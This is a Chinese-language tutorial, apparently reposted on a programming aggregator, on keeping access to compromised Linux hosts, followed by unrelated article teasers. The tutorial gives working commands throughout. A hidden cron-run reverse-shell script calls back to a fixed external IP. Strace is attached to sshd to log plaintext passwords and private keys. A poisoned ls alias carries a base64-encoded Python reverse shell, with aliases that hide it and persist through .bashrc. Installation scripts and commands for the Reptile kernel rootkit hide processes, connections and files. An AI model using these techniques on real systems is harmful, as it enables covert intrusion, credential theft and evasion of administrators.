145-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

news2024/11/15 21:37:50

参考 【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务_alias ls='alerts(){ ls $* --color=auto;python -c "-CSDN博客

参考 FlowUs 息流 - 新一代生产力工具

权限维持-Linux-定时任务-Cron后门

利用系统的定时任务功能进行反弹Shell

1、编辑后门反弹shell脚本

vim /etc/.xiaodi.sh

内容:

#!/bin/bash

bash -i >& /dev/tcp/47.94.236.117/3333 0>&1

chmod +x /etc/.xiaodi.sh

2、添加定时任务

vim /etc/crontab

*/1 * * * * root /etc/.xiaodi.sh #表示每分钟执行一次

这个定时任务用的是直接修改 /etc/crontab的方式,这个文件会对所有的用户生效,同时使用crontab命令是看不到的,如果是使用crontab -e的方式添加的任务使用crontab -l是看得到的,不过也有隐藏此任务的方式

可以看看 https://www.cnblogs.com/awake1t/p/14498443.html

不过此方式也是对于-l 命令的隐藏和对于直接查看任务记录文件,还是可以通过 -A参数查看

权限维持-Linux-监控功能-Strace后门

strace是一个动态跟踪工具,它可以跟踪系统调用的执行。

我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

1、记录sshd明文

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

查看

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

输入第一条命令后再使用ssh进行登录然后使用第二条命令进行查看可以看到命令明文密码,同时此密码被保存在了/tmp/.ssh.log中

2、记录sshd私钥

记录

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

查看

grep 'PRIVATE KEY' /tmp/.sshd.log

此方法也是同样的可以用来记录ssh登录的私钥保存到文件中。

 

权限维持-Linux-命令自定义-Alias后门

alias命令的功能:为命令设置别名

定义:alias ls='ls -al'

删除:unalias ls

每次输入ls命令的时候都能实现ls -al

不过此命令修改后重启就失效了,可以通过修改启动项文件实现维持

1、简单:

这种直接反弹shell的方式再执行了替换后的命令后会因为建立了链接从而卡住。

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts'

2、升级:

其实就是换了个反弹shell的命令,用的python去执行的,相当于重新使用python起了了一个链接所以shell界面不会卡住,中间这一段base64编码的内容就是反弹shell的代码,记得修改监听的ip和端口再编码使用。如果可以使用python我想php应该也是可以的(只使用第一段代码,后面两个是用来持久化的)

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTQuMjM2LjExNyIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'





alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

3、持久化+隐藏:重启依旧生效

vim /etc/upload # 这个文件中放置上面升级版的全部内容

vim ~/.bashrc #此文件相当于是Windows的启动项文件,修改这个文件使得达到持久化的目的。不过阿里云服务器不可以修改这个文件,可能是有保护机制。

if [ -f /etc/upload ]; then

. /etc/upload

fi

 

权限维持-Linux-内核加载LKM-Rootkit后门

现在常用的linux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf 或者其它的tcp连接来反弹shell ,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。

主要还是常见的反弹shell的链接太过明显,查看链接就可以看到奇怪的链接一下就发现了,通过内核级的rootkit可以实现隐藏进程隐藏链接实现真正的隐藏。

项目地址: https://github.com/f0rb1dd3n/Reptile

自动化脚本搭建

保存为sh文件

Centos系统脚本

$kernel=uname -r
centos
yum -y install perl vim gcc make g++ unzip
#由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x ./setup.sh     # Reptile-2.0/这个是目录,需要自定义根据自己的情况,文件即是从项目地址下载的
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117 
4444
1
EOF
# 监听的ip还有端口这里也要修改s3cr3t和reptile是连接的账号和密码,后面会用到

ubuntu系统脚本

apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
cd Reptile-2.0/ && chmod +x ./setup.sh
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117
4444
1
EOF

用脚本进行安装的那个Reptile-2.0/不会删除,为了隐藏可以手动删除文件夹。

如果要手动安装也是用项目中的setup.sh执行就可以了

我这里使用的本地的centos7可以使用项目的setup.sh直接进行安装不用使用脚本,我估计是需要安装的一些命令没有所以才会报错的或者环境变量的问题。

这里的666端口是占用靶机本地的端口和远程进行通信

1、使用参考:

https://github.com/f0rb1dd3n/Reptile/wiki

1、隐藏进程:

/reptile/reptile_cmd hide

显示进程:

/reptile/reptile_cmd show

创建一个ping的进程

nohup ping 114.114.114.114 &

查看进程

ps -ef | grep ping | grep -v grep

使用命令隐藏进程

/reptile/reptile_cmd hide 6278

再次查看进程

ps -ef | grep ping | grep -v grep

让他再显示出来

/reptile/reptile_cmd show 6278

2、隐藏连接:

/reptile/reptile_cmd udp hide

显示连接:

/reptile/reptile_cmd tcp show

netstat -anpt | grep 100.100.45.106 #这里假如建立了一个与100.100.45.106的通信的tcp连接

/reptile/reptile_cmd tcp 100.100.45.106 5555 hide #隐藏tcp协议的,目的地址是100.100.45.106目的端口是5555的进程

3、隐藏文件:

文件名中带reptile的都会被隐藏

mkdir reptile_dreamer292

mkdir reptile_file

ls -al

cd reptile_dreamer292

 

2、高级玩法

客户端安装

./setup.sh client #我的kali算是比较新的版本安装时报了错后面看脚本去排查发现需要apt install libreadline-dev 安装一个这个即可,其实是缺了一些库

cd bin

./client #即可进入客户端

设置连接配置(有些类似msf,命令区分大小写)

set LHOST 192.168.152.56 #Local host to receive the shell

set LPORT 4444 #Local port to receive the shell

set SRCHOST 192.168.152.56 #Source host on magic packets (spoof)

set SRCPORT 666 #Source port on magic packets (only for TCP/UDP) (这里就是前面设置的占用靶机的端口)

set RHOST 192.168.152.62 #Remote host

set RPORT 22 #Remote port (only for TCP/UDP)(伪装的端口,相当于进程注入)

set PROT tcp #Protocol to send magic packet (ICMP/TCP/UDP)(协议类型)

set PASS s3cr3t #Backdoor password (optional)(前面定义的密码)

set TOKEN hax0r #Token to trigger the shell(前面定义的账号)

设置好后直接开run

连接成功

进入shell

并且在靶机那边是看不到任何的链接的情况的

已经算是一个c2了,好恐怖的rootkit,太强了。

rootkit的查杀是最麻烦的一种,因为根本不知道他都对内核修改了什么东西,一旦中了rootkit基本就是寄了所以防范的方法只有在植入rootkit之前进行拦截。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2113640.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电脑WLan无线网连上没网络的问题解决方法

在公司的酒店&#xff0c;网络很差&#xff0c;每到周末网就很差&#xff0c;昨天网上还能上头条写文章&#xff0c;终于&#xff0c;今天浏览器都上不去了&#xff0c;咋回事呢&#xff1f; 明明手机能上网呀&#xff0c;明明电脑显示无线网已连接&#xff0c;没一点问题呀&a…

【语音告警】博灵智能语音报警灯JavaScript循环播报场景实例-语音报警灯|声光报警器|网络信号灯

功能说明 本文将以JavaScript代码为实例&#xff0c;讲解如何通过JavaScript代码调用博灵语音通知终端 A4实现声光语音告警。主要博灵语音通知终端如何实现无线循环播报或者周期播报的功能。 本代码实现HTTP接口的声光语音播报&#xff0c;并指定循环次数、播报内容。由于通知…

『功能项目』战士的A键连击【33】

我们打开上一篇32更换URP场景的项目&#xff0c; 本章要做的事情是切换为战士的连击动画&#xff0c;主要实现的是做了一个战士的动画行为&#xff0c;当按键盘A的时候播放一次右手攻击动画&#xff0c;在1秒内再次按A键播放左手攻击动画&#xff0c;再在1秒内按A键播放右手攻击…

Mysql 数据库免费使用

目录 前言 详细步骤 总结 前言 由于工作需要现在打算学习WPF开发&#xff0c;因为需要访问mysql数据&#xff0c;但是又不想在自己电脑上安装。于是就上网试着查了下&#xff0c;发现果然有提供免费数据库服务的网站。nice&#xff01;所以就打算写一篇文章详细记录一下&…

上海网站设计-网站手机端制作

随着移动互联网的迅猛发展&#xff0c;越来越多的人通过手机上网&#xff0c;这使得网站手机端的设计和制作变得尤为重要。在这种背景下&#xff0c;上海的网站设计行业迎来了新的机遇与挑战。 首先&#xff0c;网站手机端制作的必要性不容忽视。根据统计数据显示&#xff0c;手…

从零开始构建大语言模型并进行微调:全面指南

要从0开始搭建并训练一个大语言模型&#xff08;LLM&#xff09;&#xff0c;涉及到多个步骤和资源&#xff0c;包括理论理解、工具使用、数据准备、模型训练与微调。以下是一个从基础到应用的指南&#xff0c;帮助你理解并逐步实现这一目标。 1. 理解基础概念 在开始搭建大语…

Python的math库——常用数学函数全解析

文末赠免费精品编程资料~~ 一、math模块简介 math 是 Python 内置的一个标准库&#xff0c;它包含了许多执行复杂数学运算的函数&#xff0c;如三角函数、对数函数、指数函数等。 二、常用函数详解与示例 基本数学运算 math.sqrt(x): 计算平方根。 import math# 计算平方根…

Day-07-QT中如何引入图片替换控件

一、引入步骤 在引用之前可以在自己项目保存的地址下面创建一个文件夹&#xff0c;专门用来保存图片 1、添加一个资源文件 2、选择文件类型 3、 点击AddFile添加要用的图片 4、添加完后CtrlS保存 5、选择要替换的控件&#xff0c;改变样式表 6、选择border-image 7、选中图…

SQL治理经验谈:索引覆盖

背景 explain - format id: query sql 的标识idSELECT_TYPE: 查询的类型&#xff08;SIMPLE/PRIMARY/SUBQUERY/DERIVED/UNION/UNION RESULT/DEPENDENT SUBQUERY/DEPENDENT UNION&#xff09;table: 表名Partitions: 表连接的分区数type: 查询中使用的访问类型&#xff08;syste…

电脑主机内存

在计算机的组成结构当中内存是非常重要的一部分&#xff0c;它用来存储程序和数据。对于计算机来说有了内存才能保证计算机的正常工作。 内部存储器就是我们所说的内存条&#xff0c;一般是用来即时存储数据。不做数据的长期保留。 外部存储器就是我们常说的固态或者硬盘。固态…

电脑点击关机之后,又自动重启开机了。根本就关不了?

前言 有个小姐姐说&#xff0c;她家的电脑好生奇怪&#xff1a;点击【关机】按钮之后&#xff0c;电脑提示【正在关机】&#xff0c;过了几秒&#xff0c;电脑又自动开机了…… 好家伙&#xff01;也就是说关机和重启根本就没区别&#xff0c;电脑完全无法断电。 最后忍无可…

C++list类介绍和常用接口说明(超全超详细)

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 Clist类介绍和常用接口说明(超全超详细) 收录于专栏【C语法基础】 本专栏旨在分享学习C的一点学习笔记&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 目录…

推荐一款强大的OCR软件,请低调使用!

今天给大家分享一款开源的OCR识别软件&#xff0c;可以提升大家的办公效率——Umi-OCR&#xff0c;支持window​和Linux系统。 Umi-OCR支持提取一张图片或者多张图片的信息&#xff0c;只需通过右边的功能页选择相应的功能。 点击左边的“截图OCR”进入页面 点击“截图”按钮选…

SpringBoot自定义starter(starter的命名规范、starter的结构、自定义starter、为配置属性添加描述信息、检验配置属性)

文章目录 0. 前言1. 前置知识1.1 starter的命名规范1.2 分析 Mybatis 的场景启动器1.3 starter的结构分析 2. 创建自定义的场景启动器2.1 创建父工程2.2 初始化父工程2.3 创建 autoconfigure 模块2.4 创建 starter 模块2.5 在 starter 模块中引入 autoconfigure 模块的依赖2.6 …

算法学习:滑动窗口

题目 滑动窗口 滑动窗口的题目在解决统计连续带特殊要求的元素串问题时作用巨大。逃离仅仅只是套路学习的黑洞&#xff0c;我认为这种方法在无序的统计中&#xff0c;找到了有序的切入点。初看题目时&#xff0c;可以想到的统计方法有很多&#xff0c;但实现在计算机上则必须有…

我在高职教STM32——准备HAL库工程模板(1)

新学期开学在即,又要给学生上 STM32 嵌入式课程了。这课上了多年了,一直用的都是标准库来开发,已经驾轻就熟了。人就是这样,有了自己熟悉的舒适圈,就很难做出改变,老师上课也是如此,排斥新课和不熟悉的内容。显然,STM32 的开发,HAL 库已是主流,自己其实也在使用,只不…

Mac使用Elasticsearch

下载 Past Releases of Elastic Stack Software | Elastic 解压tar -xzvf elasticsearch-8.15.1-darwin-x86_64.tar.gz 修改配置文件config/elasticsearch.yml xpack.security.enabled: false xpack.security.http.ssl: enabled: false 切换目录 cd elasticsearch-8.15.1/…

Superset二次开发之Select 筛选器源码分析

路径&#xff1a;superset-frontend/src/filters/components/Select 源码文件&#xff1a; 功能点&#xff1a; 作用 交互 功能 index.ts作为模块的入口点,导出其他文件中定义的主要组件和函数。它使其他文件中的导出可以被外部模块使用。 SelectFilterPlugin.tsx 定义主要…

Qt/C++ 个人开源项目#串口助手(源码与发布链接)

一、项目概述 该串口助手工具基于Qt/C开发&#xff0c;专为简化串口通信调试与开发而设计&#xff0c;适合新手快速上手。工具具有直观的用户界面和丰富的功能&#xff0c;旨在帮助用户与串口设备建立可靠通信&#xff0c;便于调试、数据传输和分析。 二、主要功能 波特率&a…

Qt QLineEdit 输入内容后字数在右侧动态展示

前言 QLineEdit 设置可输入最大长度可以使用 lineEdit->setMaxLength(10); 怎么实时的把当前输入字数显示出来呢&#xff0c;像饿了么的 input 组件那样 <el-inputtype"text"placeholder"请输入内容"v-model"text"maxlength"10&q…